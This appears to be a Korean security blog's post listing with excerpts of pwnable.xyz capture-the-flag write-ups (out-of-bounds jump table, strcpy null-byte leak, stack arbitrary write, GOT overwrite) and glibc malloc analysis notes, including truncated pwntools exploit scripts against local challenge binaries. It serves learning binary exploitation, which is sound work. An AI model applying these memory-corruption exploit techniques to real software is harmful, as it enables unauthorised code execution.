전체 글 (186) 썸네일형 리스트형 pwnable.xyz / Jmp table 힙 할당 힙 해제 쓰기 읽기 exit 각 함수라 vtable에 저장되어 있어 vatble을 통해 각 함수에 접근한다 할당된 힙의 size는 전역변수 size에 저장시켜 read할때 overflow를 방지한다 size에 플래그를 출력시켜주는 함수로 주고 OOB로 접근해서 해당 함수가 호출되도록 했다 from pwn import * p = process("./jmp_table") def do_malloc(length): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"Size: ") p.sendline(str(length)) do_malloc(0x400A31) p.recvuntil(b"> ") p.sendline(b"-2") p.interactive() pwnable.xyz / TLSv00 입력한 크기만큼 key를 생성 ( generate_key 호출 ) flag를 key로 xor ( load_flag 호출 ) print flag 호출 최대 64자리까지 난수를 생성해서 key에 저장한다 이때 strcpy로 key에 복사하기 때문에 널바이트가 do_comment의 첫 바이트를 덮어 real_print_flag를 호출해서 xor된 flag를 릭할 수 있다 strcpy로 key에 널 바이트가 저장되는 걸 이용해서 1byte씩 뽑아냈다 from pwn import * #context.log_level = "debug" def regen_key(length): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"key len: ") p.sendline(str(l.. pwnable.xyz / free spirit 제목만 보고서는 house of spirit인줄 알았다...ㅎㅎ 스택 영역에 저장된 힙에 0x20만큼 데이터를 받음 힙 주소가 저장된 스택 주소를 출력한다 힙 주소를 저장하고 있는 스택 - 8 주소에 힙영역에 쓴 데이터를 저장 스택 주소를 릭 가능하고 3번을 통해 힙 주소가 저장된 스택 영역을 덮으면 aaw가 발생한다 릭한 주소로 ret주소 계산해서 win함수 출력한다 exploit 코드는 아래 더보기 더보기 from pwn import * p = process("./free_spirit") #gdb.attach(p) win = 0x400a3e def write(data): p.recvuntilb("> ") p.sendline(b"1") sleep(0.1) p.send(data) def aaw(): p... house of spirit 보호되어 있는 글입니다. security check 보호되어 있는 글입니다. (glibc 2.29) malloc glibc 2.26버전 분석 글과 동일하게 glibc 2.26 버전과 비교하면서 다른 점만 정리할 것이다 단일 스레드일 경우 main_arena로 재할당하는 코드가 추가 되었다 전체 코드는 아래 더보기 더보기 void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); #if USE_TCACHE /* int_free also calls request2size, be c.. 힙 분석 글 링크 malloc 분석 글 glibc 2.23 : https://brain200.tistory.com/114 glibc 2.26 : https://brain200.tistory.com/118 glibc 2.29 : https://brain200.tistory.com/136 _int_malloc 분석 글 glibc 2.23 : https://brain200.tistory.com/116 glibc 2.26 : https://brain200.tistory.com/124 glibc 2.29 : https://brain200.tistory.com/147 free 분석 글 glibc 2.23 : https://brain200.tistory.com/74 glibc 2.26 : https://brain200.tistory... pwnable.xyz / two_target 값을 역연산하던가 아님 aaw로 풀 수 있는것 같다 당연히 aaw로 풀었다 ( 역연산은 어려워.... ) 인적사항을 쓰고 변경할 수 있다 ( 각기능은 아래와 같음 ) 이름을 입력 (auth에서 비교할 key 값) 나이를 입력 ( aaw할 주소 씀 ) 국적을 변경 ( 주소에 쓸 값 ) get shell ( auth함수로 검증하고 참이면 win함수로 flag를 출력한다 ) partial RELRO가 걸려있어서 got overwrite이 가능하다 aaw로 strncmp함수 got를 win함수의 got로 overwrite한 뒤 4번으로 auth함수에 있는 strncmp함수를 호출해서 flag가 출력되도록 했다 from pwn import * p = process("./two_target") def ch_nat(.. 이전 1 ··· 8 9 10 11 12 13 14 ··· 24 다음